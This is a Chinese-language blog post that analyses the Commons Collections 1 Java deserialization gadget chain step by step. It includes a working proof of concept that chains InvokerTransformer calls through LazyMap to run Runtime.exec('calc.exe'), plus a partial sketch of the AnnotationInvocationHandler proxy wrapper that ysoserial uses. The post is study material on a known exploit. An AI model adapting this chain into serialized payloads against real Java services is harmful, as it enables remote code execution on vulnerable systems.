Commons Collections1分析

0X7e發表於2021-02-03

0x01、基礎知識鋪墊

接下來這個過程將涉及到幾個介面和類

1、LazyMap

我們通過下⾯這⾏程式碼對innerMap進⾏修飾,傳出的outerMap即是修飾後的Map:

Map outerMap = TransformedMap.decorate(innerMap, valueTransformer);

2、Transformer

Transformer是⼀個接⼝,它只有⼀個待實現的⽅法:

3、ConstantTransformer

ConstantTransformer是實現了Transformer接⼝的⼀個實現類,它的過程就是在建構函式的時候傳⼊⼀個

物件,並在transform⽅法將這個物件再返回:

4、InvokerTransformer

InvokerTransformer是實現了Transformer接⼝的⼀個類,這個類可以⽤來執⾏任意⽅法,這也是反序

列化能執⾏任意程式碼的關鍵。

在例項化這個InvokerTransformer時,需要傳⼊三個引數,第⼀個引數是待執⾏的⽅法名第⼆個引數

是這個函式的引數列表的引數型別第三個引數是傳給這個函式的引數列表

後⾯還提供了transform⽅法,就是執⾏了input物件的iMethodName⽅法:

5、ChainedTransformer

ChainedTransformer也是實現了Transformer接⼝的⼀個實現類,它的作⽤是將內部的多個Transformer串

在⼀起。

也就是Stream中的概念,鏈式呼叫

看到transform方法是通過傳入Trasnformer[]陣列來對傳入的數值進行遍歷並且呼叫陣列物件的transform方法。

6、Map

Transform來執行命令需要繫結到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實現類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用於將上述的Transformer實現類繫結到Map上,當對Map進行一些操作時,會自動觸發Transformer實現類的tranform()方法,不同的Map型別有不同的觸發規則。

7、decorate

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

LazyMap是在get方法去呼叫方法,當呼叫get(key)的key不存在時,會呼叫transformerChain的transform()方法

0x02、exp的分析

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.util.HashMap;
import java.util.Map;
public class test02_cc1 {
    public static void main(String[] args) throws Exception {
        //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //將transformers陣列存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //建立Map並繫結transformerChina
        Map innerMap = new HashMap();
        innerMap.put("key", "0x7e");

        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
        tmpmap.get("1");
    }
}

我們先看看這段程式碼,看不懂沒事,我們分段一步一步分析

0x03、第一部分分析

可以看出這邊是new一個Transformer型別的陣列,裡面儲存的都是Transformer的實現類

第一個元素中是ConstantTransform:

為什麼是傳入Runtime.class,因為Runtime類不用實現Serializable介面,所以沒辦法進行反序列化

Runtime.getRuntime()Runtime.class的區別 ,前者是⼀個 java.lang.Runtime物件,後者是⼀個 java.lang.Class 物件。Class類有實現Serializable接⼝

然後通過類名.class反射獲取到了Runtime物件

接下來就是InvokerTransformer;通過前置知識鋪墊,我們知道第⼀個引數是待執⾏的⽅法名第⼆個引數

是這個函式的引數列表的引數型別第三個引數是傳給這個函式的引數列表

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, 
                       new Object[] {"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, 
                       new Object[] {null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {String.class }, 
                       new Object[] {"calc.exe"})
getMethod, null, getRuntime
invoke   , null, null
exec     , null, calc.exe

引數型別如下

接下來我們進去InvokerTransformer.class內部檢視一下程式碼怎麼執行的

這邊需要回顧一下getMethod方法的使用

點選檢視另外一篇文章操作成員方法

由此我們知道getMethod第一個引數是要呼叫方法的名稱,第二個是要執行的引數型別

invoke第一個引數是獲取到的class物件,接下來就是按照對應格式傳入引數

這邊就非常清楚了,呼叫java.lang.Runtime裡面的getRuntime方法,獲取到物件

接下來的幾個InvokerTransformer也是一樣的,就不細細分析了

0x04、第二部分分析

這邊是鏈式呼叫,什麼是鏈式呼叫函式

想深入瞭解的可以看看這邊文章https://www.jb51.net/article/49405.htm

經過ChainedTransformer

會依次執行Transformer[]陣列裡面的方法,最後變成如下這段程式碼

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

最後再建立一個Map,並傳入鍵值對,通過decorate方法

這邊可以看到第一個是map,也就是我們上面建立的map,然後就是Transformer[]陣列,在返回回來

最後你會疑問,咋返回的Map跟上面沒區別?

這時候可以百度一下LazyMap是怎麼回事的

也就是說,當get方法被呼叫的時候,這個LazyMap才會建立執行,當呼叫get(key)的key不存在時,會呼叫transformerChaintransform()方法

tmpmap.get("hello");

所以這邊hello的key是不存在的,所以執行了惡意程式碼

那我們可以get("key")試試

因為我們有這個key,所以沒有執行惡意程式碼,事實證明,我們的想法是正確的

0x05、第三部分分析

通過此處,f7步入get()方法內部

傳入過後,LazyMapget方法方法裡面的this.factoryTransformer[]陣列,這時候去呼叫就會執行transform方法

ChainedTransformertransform方法又會去遍歷呼叫Transformer[]裡面的transform方法

導致使用方式的方式傳入的Runtime呼叫了exec執行了calc.exe彈出一個計算器

0x06、序列化構造

上文是執行成功了,但是我們需要構造惡意的序列化,我們知道,只要呼叫了get方法,就會執行rce了

所以ysoserial找到了另一條路,AnnotationInvocationHandler類的invoke方法有呼叫到get

當時我們要怎麼呼叫這個AnnotationInvocationHandler#invoke()

這時候我們可以借用物件代理進行呼叫

然後,我們需要對 sun.reflect.annotation.AnnotationInvocationHandler物件進行Proxy:

//獲取class物件
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//根據引數型別獲得對應的Constructor物件,第⼀個引數是⼀個Annotation類
//第⼆個是引數就是前⾯構造的Map
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//設定暴力反射
construct.setAccessible(true);
//通過newInstance例項化物件,從而執行建構函式,導致rce
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

//新增
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理後的物件叫做proxyMap,但我們不能直接對其進行序列化,因為我們入口點是

sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我們還需要再用

AnnotationInvocationHandler對這個proxyMap進行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

由於存在漏洞的AnnotationInvocationHandlerjdk版本找不到,序列化的構造就這樣敷衍的寫一寫

相關文章